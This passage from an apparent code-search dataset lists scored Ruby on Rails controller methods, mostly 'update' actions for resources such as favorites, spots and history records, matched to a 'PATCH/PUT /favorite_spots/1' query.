@document_history = DocumentHistory.find(params[:id])\n\n respond_to do |format|\n if @document_history.update_attributes(params[:document_history])\n format.html { redirect_to @document_history, notice: 'Document history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0549004dfef153d50e5920e8c211f02e", "score": "0.5646394", "text": "def update\n @category_history = CategoryHistory.find(params[:id])\n\n respond_to do |format|\n if @category_history.update_attributes(params[:category_history])\n format.html { redirect_to @category_history, notice: 'Category history was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "628e3fdd50d1535bea4698c236a38935", "score": "0.56444156", "text": "def update\n @lost = Lost.find(params[:id])\n\n respond_to do |format|\n if @lost.update_attributes(params[:lost])\n format.html { redirect_to @lost, notice: 'Lost was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lost.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f269e2cfefc241e75ac2406b34d0002b", "score": "0.5627457", "text": "def update\n respond_to do |format|\n if @s_history.update(s_history_params)\n format.html { redirect_to @s_history, notice: 'S history was successfully updated.' }\n format.json { render :show, status: :ok, location: @s_history }\n else\n format.html { render :edit }\n format.json { render json: @s_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "61850adf6a563577baf343315678d615", "score": "0.5620907", "text": "def update\n @history_point = HistoryPoint.find(params[:id])\n\n respond_to do |format|\n if @history_point.update_attributes(params[:history_point])\n format.html { redirect_to(@history_point, :notice => 'HistoryPoint was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @history_point.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "232d69542fbd53ceb0932a5e34165320", "score": "0.5616312", "text": "def update\n if current_user.is_not_staff?\n flash[:error] = \"You do not have permissions to access that feature.\"\n redirect_to root_path and return\n end\n \n @location_history = LocationHistory.find(params[:id])\n\n respond_to do |format|\n if @location_history.update_attributes(params[:location_history])\n format.html { redirect_to @location_history, notice: 'Location history was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @location_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "61cab8bba953926acf4ed8eef620ec11", "score": "0.5615933", "text": "def update\n @asset_allocation_history = AssetAllocationHistory.find(params[:id])\n\n respond_to do |format|\n if @asset_allocation_history.update_attributes(params[:asset_allocation_history])\n format.html { redirect_to @asset_allocation_history, notice: 'Asset allocation history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @asset_allocation_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "56d5293594a920d06ccc9af4ca8f711e", "score": "0.561244", "text": "def update\n respond_to do |format|\n if @answer_history.update(answer_history_params)\n format.html { redirect_to @answer_history, notice: 'Answer history was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer_history }\n else\n format.html { render :edit }\n format.json { render json: @answer_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0e80a0418fd7c57b50a19bd52d804155", "score": "0.56110644", "text": "def update\n respond_to do |format|\n if @visit_history.update(visit_history_params)\n format.html { redirect_to @visit_history, notice: 'Visit history was successfully updated.' }\n format.json { render :show, status: :ok, location: @visit_history }\n else\n format.html { render :edit }\n format.json { render json: @visit_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "84f49271de6287447cefc413346f5bd4", "score": "0.5605649", "text": "def update\n respond_to do |format|\n if @admin_history.update(admin_history_params)\n format.html { redirect_to admin_histories_path, notice: '更新歷史成功' }\n format.json { render :show, status: :ok, location: @admin_history }\n else\n format.html { render :edit }\n format.json { render json: @admin_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5056cabddc4e739929e52ff4f185fe39", "score": "0.5602404", "text": "def historic_params\n params.require(:historic).permit(:description, :text, :disapeared_id, :date, :status_id)\n end", "title": "" }, { "docid": "f62b5ef4656e1e44412e0705ad27cc4d", "score": "0.5602008", "text": "def update\n respond_to do |format|\n if @bhistory.update(bhistory_params)\n format.html { redirect_to @bhistory, notice: 'Bhistory was successfully updated.' }\n format.json { render :show, status: :ok, location: @bhistory }\n else\n format.html { render :edit }\n format.json { render json: @bhistory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e3c71074c61bd480465f9f2a31e2046f", "score": "0.5601525", "text": "def update\n @machine_historic = MachineHistoric.find(params[:id])\n @machine_historic.status = \"aberto\"\n\n respond_to do |format|\n if @machine_historic.update_attributes(params[:machine_historic])\n format.html { redirect_to(@machine_historic, :notice => 'Vehicle historic was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @machine_historic.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e92126ae315ec1bc021e5abff369bb30", "score": "0.5600828", "text": "def update\n respond_to do |format|\n if @service_history.update(service_history_params)\n format.html { redirect_to @service_history, notice: 'Service history was successfully updated.' }\n format.json { render :show, status: :ok, location: @service_history }\n else\n format.html { render :edit }\n format.json { render json: @service_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ccd3bf443044ac15ac7bbab2aa7b05bd", "score": "0.5599263", "text": "def update\n respond_to do |format|\n if @hunter_backstory.update(hunter_backstory_params)\n format.html { redirect_to @hunter_backstory, notice: t('.success') }\n format.json { render :show, status: :ok, location: @hunter_backstory }\n else\n format.html { render :edit }\n format.json { render json: @hunter_backstory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4d4df10586d5458f2e87b91fa0837750", "score": "0.5596574", "text": "def update\n respond_to do |format|\n if @history_item.update(history_item_params)\n format.html { redirect_to @history_item, notice: 'History item was successfully updated.' }\n format.json { render :show, status: :ok, location: @history_item }\n else\n format.html { render :edit }\n format.json { render json: @history_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "38e6561265f5ad0a8f3abdb9748e7b34", "score": "0.55961525", "text": "def update\n respond_to do |format|\n @past_request.received_help = true\n if @past_request.update(past_request_params)\n format.html { redirect_to requests_path, notice: \"You spent #{time_ago_in_words(Time.now - (Time.now - @past_request.created_at), include_seconds: true)}\" }\n format.json { render :show, status: :ok, location: @past_request }\n else\n format.html { render :edit }\n format.json { render json: @past_request.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "27aca8e0c3961d4067d4e506c1368bd9", "score": "0.5594336", "text": "def update\r\n respond_to do |format|\r\n if @medical_history.update(medical_history_params)\r\n format.html { redirect_to @medical_history, notice: 'Historial medico actualizado con exito.' }\r\n format.json { render :show, status: :ok, location: @medical_history }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @medical_history.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "63f7af79fc170063fe31f54b55d65e7c", "score": "0.55942255", "text": "def update\n streak, success = jsonapi_update.to_a\n\n if success\n render_jsonapi(streak, scope: false)\n else\n render_errors_for(streak)\n end\n end", "title": "" }, { "docid": "40798aebc44173ce4683414761103497", "score": "0.55920655", "text": "def update\n @holy_book = HolyBook.find(params[:id])\n\n respond_to do |format|\n if @holy_book.update_attributes(params[:holy_book])\n format.html { redirect_to @holy_book, notice: 'Holy book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @holy_book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "23d8f9eb077f9acde2c62ef4a4b76f5f", "score": "0.55786556", "text": "def update\n @observation = Observation.find(params[:id])\n\n respond_to do |format|\n if @observation.update_attributes(params[:observation])\n format.html { redirect_to @observation, notice: 'Observation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @observation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "81621c9cf4140813157127f178db3ba6", "score": "0.55783033", "text": "def update\n @client = Client.find params[:client_id]\n @pet = Pet.find params[:pet_id]\n respond_to do |format|\n if @pet_history.update(pet_history_params)\n format.html { redirect_to client_pet_pet_history_path(@client, @pet,@pet_history), notice: 'Control actualizado exitosamente.' }\n else\n format.html { render :edit }\n end\n end\n end", "title": "" }, { "docid": "7bf68a571141494fd3bd94a60e9d36a3", "score": "0.55688804", "text": "def update\n @pastor = Pastor.find(params[:id])\n\n respond_to do |format|\n if @pastor.update_attributes(params[:pastor])\n format.html { redirect_to @pastor, notice: 'Pastor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pastor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "42df726412589797999ce0ccfdae8de4", "score": "0.55674416", "text": "def set_foodhistory\n @foodhistory = Foodhistory.find(params[:id])\n end", "title": "" }, { "docid": "9da108f07573f1842e2332411e87d085", "score": "0.5559973", "text": "def update!(**args)\n @expiration = args[:expiration] unless args[:expiration].nil?\n @history_id = args[:history_id] unless args[:history_id].nil?\n end", "title": "" }, { "docid": "c2b78ee604f10111e28ccd85bd0cfc4d", "score": "0.5558332", "text": "def update\n redirect_to_home\n \n #@bar_event = BarEvent.find(params[:id])\n\n #respond_to do |format|\n # if @bar_event.update_attributes(params[:bar_event])\n # format.html { redirect_to @bar_event, :notice => 'Bar event was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render :action => \"edit\" }\n # format.json { render :json => @bar_event.errors, :status => :unprocessable_entity }\n # end\n #end\n end", "title": "" }, { "docid": "70ba750c8aa8a1b2c5565641f5e883f0", "score": "0.5551685", "text": "def update\n @family_history = FamilyHistory.find(params[:id])\n\n respond_to do |format|\n if @family_history.update_attributes(params[:family_history])\n format.html { redirect_to PersonalDetail.find(@family_history.personal_detail_id), notice: 'Family history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @family_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a4413ae6836019bdeeba5944a6e7b405", "score": "0.55447346", "text": "def update\n respond_to do |format|\n if @sales_history.update(sales_history_params)\n format.html { redirect_to @sales_history, notice: 'Sales history was successfully updated.' }\n format.json { render :show, status: :ok, location: @sales_history }\n else\n format.html { render :edit }\n format.json { render json: @sales_history.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f29851028f8f60006e932b96b8ae112b", "score": "0.5544351", "text": "def update\n @timeline = Timeline.find(params[:id])\n\n respond_to do |format|\n if @timeline.update_attributes(params[:timeline])\n format.html { redirect_to @timeline, notice: 'Timeline was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @timeline.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
be223fe804cf5ad2056dc600ee27ae0f
PATCH/PUT /favorite_spots/1 PATCH/PUT /favorite_spots/1.json
[ { "docid": "c29f533ba111a5d7035816edc96bacb1", "score": "0.7529315", "text": "def update\n respond_to do |format|\n if @favorite_spot.update(favorite_spot_params)\n format.html { redirect_to @favorite_spot, notice: 'Favorite spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_spot }\n else\n format.html { render :edit }\n format.json { render json: @favorite_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "2baeb506e0b60fd313af538571bcbe23", "score": "0.7177691", "text": "def update\n if @favorite.update(favorite_params)\n render json: @favorite, status: :ok\n else\n render json: @favorite.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "08928a8dcb9d3bc993fd21219d4e79a0", "score": "0.70075995", "text": "def update\n respond_to do |format|\n # spot = HTTParty.get(\"http://localhost:3000/spots/#{params[:id]}\" )\n if @spot.update(spot_params)\n HTTParty.patch(\"http://localhost:3000/spots/#{params[:id]}?name=#{spot_params[:name]}&lat=#{spot_params[:lat]}&lon=#{spot_params[:lon]}&description=#{spot_params[:description]}&features=#{spot_params[:features]}&spot_type=#{spot_params[:spot_type]}&img=#{spot_params[:img]}\")\n @spot.spot_photos.attach(params[:spot][:spot_photos])\n format.html { redirect_to @spot, notice: 'Spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @spot }\n else\n format.html { render :edit }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ab0776ed01e6c10d701f43187090bba", "score": "0.6988291", "text": "def update\n @api_v1_favorite_spot = Api::V1::FavoriteSpot.where('spot_id = ? AND user_id = ? ', params[:id], @current_user.id).first\n\n unless @api_v1_favorite_spot.nil?\n @api_v1_favorite_spot.closed = params[:closed]\n @api_v1_favorite_spot.save \n end\n\n head :no_content\n end", "title": "" }, { "docid": "15443e2225c486b04e2a7d7d20820526", "score": "0.69063485", "text": "def update\n if @spot.update(spot_params)\n render json: @spot\n else\n render json: @spot.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "a19932c20b47ed165d1730f0767b2772", "score": "0.680097", "text": "def update\n\n respond_to do |format|\n if @spot.update_attributes(params[:spot])\n format.html { redirect_to @spot, notice: 'Spot was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f36122df39edd84f9ac6196b03c60f4d", "score": "0.67924964", "text": "def update\n @favorite = Favorite.find(params[:id])\n\n respond_to do |format|\n if @favorite.update_attributes(params[:favorite])\n format.html { redirect_to @favorite, :notice => 'Favorite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @favorite.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d8a10e67a68ce561cf9499b63695056b", "score": "0.67914677", "text": "def update\n @favorite = Favorite.find(params[:id])\n\n respond_to do |format|\n if @favorite.update_attributes(params[:place])\n format.html { redirect_to @favorite, notice: 'Place was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @favorite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1bc1eb0a2299b2b2ef4ae38b609c2cf1", "score": "0.67740595", "text": "def update\n respond_to do |format|\n if @favorite.update(favorite_params)\n format.html { redirect_to @favorite, notice: 'Favorite was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite }\n else\n format.html { render :edit }\n format.json { render json: @favorite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1bc1eb0a2299b2b2ef4ae38b609c2cf1", "score": "0.67740595", "text": "def update\n respond_to do |format|\n if @favorite.update(favorite_params)\n format.html { redirect_to @favorite, notice: 'Favorite was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite }\n else\n format.html { render :edit }\n format.json { render json: @favorite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d7e8ec7d06b7efcb189a872bdaf34113", "score": "0.6766798", "text": "def update\n @favorite = Favorite.find(params[:id])\n\n respond_to do |format|\n if @favorite.update_attributes(params[:favorite])\n format.html { redirect_to @favorite, notice: 'Favorite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @favorite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d7e8ec7d06b7efcb189a872bdaf34113", "score": "0.6766798", "text": "def update\n @favorite = Favorite.find(params[:id])\n\n respond_to do |format|\n if @favorite.update_attributes(params[:favorite])\n format.html { redirect_to @favorite, notice: 'Favorite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @favorite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aba70ba88bd9e404cf4a922e1b05dc1c", "score": "0.676248", "text": "def update\n @favorite = Favorite.find(params[:id])\n\n respond_to do |format|\n if @favorite.update_attributes(params[:favorite])\n format.html { redirect_to @favorite, notice: 'Favorite was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @favorite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b3fdd5ea3a46f1176d569986fe1e4adc", "score": "0.67583346", "text": "def update\n @favorite = Favorite.find(params[:id])\n @favorite.user_id = params[:user_id]\n @favorite.announcement_id = params[:announcement_id]\n @favorite.save\n render json:@favorite\n end", "title": "" }, { "docid": "7241623609dafc8e126d558bacc3fdbe", "score": "0.6752809", "text": "def update\n respond_to do |format|\n if @favorite.update(favorite_params)\n format.html { redirect_to @favorite, notice: \"Favorite was successfully updated.\" }\n format.json { render :show, status: :ok, location: @favorite }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @favorite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2b01b79a796678d6ad6920e4ed040645", "score": "0.6729", "text": "def update\n head :unauthorized unless current_user.can_update?(@spot)\n\n if @spot.update(spot_params)\n render :nothing, status: 204\n else\n render json: @spot.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "498e68d2f448a759027b69da1a4ad71b", "score": "0.6697773", "text": "def update\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n if @spot.update_attributes(params[:spot])\n format.html { redirect_to @spot, notice: 'Spot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2057004633cc5b98962fee8da5835a0c", "score": "0.6686234", "text": "def update\n respond_to do |format|\n if @spot.update(spot_params)\n format.html { redirect_to @spot, notice: 'Spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @spot }\n else\n format.html { render :edit }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "acdc8bb301b37ea3586b4860390d40c1", "score": "0.66618496", "text": "def update_favorite\n @favorite = Favorite.find(params[:id])\n @favorite.update_attributes(:description => params[:description], :http_method => params[:http_method], :path_or_url => params[:path_or_url], :headers => params[:headers], :body => params[:body])\n @favorite.update_attribute(:privilege, params[:privilege]) if @favorite.privilege\n @updated = false\n if @favorite.save\n @updated = true\n end\n respond_to do |format|\n format.js { render 'shared/update_favorite' }\n end\n end", "title": "" }, { "docid": "55a2634817c13b5f43af87342e45acd8", "score": "0.6658696", "text": "def update\n respond_to do |format|\n if @spot.update(spot_params)\n format.html { redirect_to @spot, notice: \"Spot was successfully updated.\" }\n format.json { render :show, status: :ok, location: @spot }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "658e2c1bfe465bebdebcc5a6d4fdc182", "score": "0.6648337", "text": "def update\n @favorite_place = current_user.favorite_places.find(params[:id])\n\n respond_to do |format|\n if @favorite_place.update_attributes(params[:favorite_place])\n format.html { redirect_to @favorite_place, :notice => 'Favorite place was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @favorite_place.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b4c8420c0e88ca22bf21210284b9ec14", "score": "0.6644243", "text": "def edit_favorite(favorite_id, favorite_params)\n handle_error { sendsecure_connection.patch(\"api/v2/enterprises/#{@enterprise_account}/users/#{@user_id}/favorites/#{favorite_id}.json\", favorite_params) }\n end", "title": "" }, { "docid": "81e0e72540e248125a1c10329abe3fd1", "score": "0.66379774", "text": "def update\n respond_to do |format|\n if @favorite.update(favorite_params)\n format.html do\n flash[:notice] = t('controllers.favorites.update.success')\n redirect_to @favorite\n end\n format.json { render :show, status: :ok, location: @favorite }\n else\n format.html { render :edit }\n format.json { render json: @favorite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "34cc11605d2405429629b5334efd019f", "score": "0.6617709", "text": "def update\n @hot_spot = current_user.hot_spots.find(params[:id])\n\n respond_to do |format|\n if @hot_spot.update_attributes(params[:hot_spot])\n format.html { redirect_to @hot_spot, notice: 'Hot spot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hot_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5b5f2adfebce5f9c12ac112ab4381978", "score": "0.65924567", "text": "def update\n if current_user.is_not_member?\n flash[:error] = \"You do not have permissions to access that feature.\"\n redirect_to root_path and return\n end\n \n @favorite = Favorite.find(params[:id])\n\n respond_to do |format|\n if @favorite.update_attributes(params[:favorite])\n format.html { redirect_to @favorite, notice: 'Favorite was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @favorite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "160abd800258f9b4f3fd0e02f1b2c6c4", "score": "0.6590302", "text": "def update\n respond_to do |format|\n if @hot_spot.update(hot_spot_params)\n format.html { redirect_to @hot_spot, notice: 'Hot spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @hot_spot }\n else\n format.html { render :edit }\n format.json { render json: @hot_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6b3d7602a0d7e818140ecb3e0dcd21d8", "score": "0.656214", "text": "def update\n respond_to do |format|\n if @fishing_spot.update(fishing_spot_params)\n format.html { redirect_to @fishing_spot, notice: 'Fishing spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @fishing_spot }\n else\n format.html { render :edit }\n format.json { render json: @fishing_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9290d389eb6d664527802cd8fcf9f20d", "score": "0.65600735", "text": "def set_favorite_spot\n @favorite_spot = FavoriteSpot.find(params[:id])\n end", "title": "" }, { "docid": "7e9d1de0c07808fd0917783c8c11c6fc", "score": "0.6538819", "text": "def update\r\n @fav = Fav.find(params[:id])\r\n\r\n if @fav.update(fav_params)\r\n render json: @fav\r\n else\r\n render json: { error: \"Fav updating error\" }, status: :unprocessable_entity\r\n end\r\n end", "title": "" }, { "docid": "47455b47d589539ab1b1cc965efde7c9", "score": "0.65215", "text": "def update\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n if @spot.update_attributes(params[:spot])\n format.html { redirect_to medium_spots_path(medium_id: @spot.medium_id, spot_category_id: @spot.spot_category_id), notice: 'Spot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5a1714e982770d446a53cd0c423f88b3", "score": "0.64963126", "text": "def update\n @spot = Spot.find(params[:id])\n @tags = @spot.items\n\n respond_to do |format|\n if @spot.update_attributes(params[:spot])\n format.html { redirect_to(spots_url, :notice => 'Spot was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spot.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "852c0db796efab719b0b54663e430f6d", "score": "0.64962065", "text": "def update\n respond_to do |format|\n if @favorite_pet.update(favorite_pet_params)\n format.html { redirect_to @favorite_pet, notice: 'Favorite pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_pet }\n else\n format.html { render :edit }\n format.json { render json: @favorite_pet.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be9e9ee229b43a5473773e539386bd69", "score": "0.6486174", "text": "def update\n @favorite_resource = FavoriteResource.find(params[:id])\n\n respond_to do |format|\n if @favorite_resource.update_attributes(params[:favorite_resource])\n format.html { redirect_to @favorite_resource, notice: 'Favorite resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @favorite_resource.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "638adeb9972543cc5a758afa4938fb06", "score": "0.648617", "text": "def update\n @spot = Spot.find(params[:id])\n\n if @spot.update(params[:spot])\n head :no_content\n else\n render json: @spot.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "91d3f8ede7f815a7f6f8487eeacb56b1", "score": "0.6468537", "text": "def update\n respond_to do |format|\n if @favorite_series.update(favorite_series_params)\n format.html { redirect_to @favorite_series, notice: 'Favorite serie was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_series }\n else\n format.html { render :edit }\n format.json { render json: @favorite_series.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2122d9389b078ddedecfc554b4b9eb74", "score": "0.6447184", "text": "def update\n @favorite = Favorite.find(params[:id])\n @organization.update_attributes(params[:favorite])\n respond_with @favorite\n end", "title": "" }, { "docid": "b3fb53a55881de423971636a35e5fa01", "score": "0.64457816", "text": "def update\n respond_to do |format|\n if @ht_favorite.update(ht_favorite_params)\n format.html { redirect_to @ht_favorite, notice: 'Ht favorite was successfully updated.' }\n format.json { render :show, status: :ok, location: @ht_favorite }\n else\n format.html { render :edit }\n format.json { render json: @ht_favorite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b190d53d478ae77ffe5f9e7e4920cc2", "score": "0.64445937", "text": "def update\n user = User.find_by(id: params[:user_id])\n recipe_id = params[:id]\n user_recipe_favorite = UserRecipeFavorite.new(user_id: user.id, recipe_id: recipe_id)\n authorize user_recipe_favorite\n if params[:favorite] == 'false' # if favorite is not checked\n user.user_recipe_favorites.where(recipe_id: recipe_id).first.destroy # remove recipe from favorites.\n elsif !user.user_recipe_favorites.exists?(recipe_id: recipe_id) # if favorite is checked but recipe doesn't exist in favaorites yet\n user.user_recipe_favorites.create(user_id: user.id, recipe_id: recipe_id) # add to recipe favorites\n end\n render json: {}\n end", "title": "" }, { "docid": "87572b8029564fefb33877e9e935771f", "score": "0.64406073", "text": "def update\n respond_to do |format|\n if @favorite_toy.update(favorite_toy_params)\n format.html { redirect_to @favorite_toy, notice: 'Favorite toy was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_toy }\n else\n format.html { render :edit }\n format.json { render json: @favorite_toy.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9eabc416d9e6eb305c3010dd08d79fa9", "score": "0.6434256", "text": "def edit_favorite(favorite)\n raise SendSecureException.new(\"Favorite id cannot be null\") if favorite.id == nil\n favorite.update_attributes(@json_client.edit_favorite(favorite.id, favorite.to_json))\n end", "title": "" }, { "docid": "4ae11a70fc82164eda05b90ecfefa5c5", "score": "0.6428474", "text": "def update\n respond_to do |format|\n if @favorite_route.update(favorite_route_params)\n format.html { redirect_to @favorite_route, notice: 'Favorite route was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_route }\n else\n format.html { render :edit }\n format.json { render json: @favorite_route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5ed572f5d0a8a4a70124631bdbb9baf2", "score": "0.6423311", "text": "def update\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n if @spot.update_attributes(params[:spot])\n format.html { redirect_to(@spot, :notice => 'Spot was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spot.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a00fea07f3f9391b9084b713372e2e4e", "score": "0.64161676", "text": "def update\n respond_to do |format|\n if @favorite_list.update(favorite_list_params)\n format.html { redirect_to @favorite_list, notice: 'Favorite list was successfully updated.' }\n format.json { render :show, status: :ok, location: @favorite_list }\n else\n format.html { render :edit }\n format.json { render json: @favorite_list.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4706485d91adaa07afe5120ab6282013", "score": "0.6416026", "text": "def update\n if @api_v1_spot.user_id == @current_user.id && @api_v1_spot.update(api_v1_spot_params)\n head :no_content\n else\n render json: @api_v1_spot.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "2416fcaf2d61a3f3ec2c0017e288b296", "score": "0.64121693", "text": "def update_favorites\n @idea = Idea.find(params[:id])\n\n if !Favorite.exists?(:idea_id => @idea.id, :user_id => current_user.id)\n @favorites = Favorite.new\n @favorites.user_id = current_user.id\n @favorites.idea_id = @idea.id\n @favorites.save\n end\n\n respond_to do |format|\n if @idea.update_attributes(params[:idea])\n format.html { redirect_to @idea }\n format.json { head :no_idea }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @idea.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6283d5b0efd676645cd5b91fb528018a", "score": "0.64097464", "text": "def favorite\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/2/favorite'\n ).to_s\n\n puts RestClient.patch(\n url,{}\n )\nend", "title": "" }, { "docid": "c8d77baf79c0ea59a180ad837a90dfff", "score": "0.6407883", "text": "def update\n @favorite = Favorite.find(params[:id])\n\n respond_to do |format|\n if @favorite.update_attributes(params[:favorite])\n format.html { redirect_to(@favorite, :notice => 'Favorite was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @favorite.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b28f265ac44fecd2eb7727bf76280e1f", "score": "0.63877594", "text": "def update\n if @holiday.update_attribute(:favorite, params[:holiday][:favorite])\n render json: @holiday, status: :ok\n else\n render json: @holiday.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "3b0b2fd833ae1bbee756ea02c779366b", "score": "0.63864994", "text": "def update\n 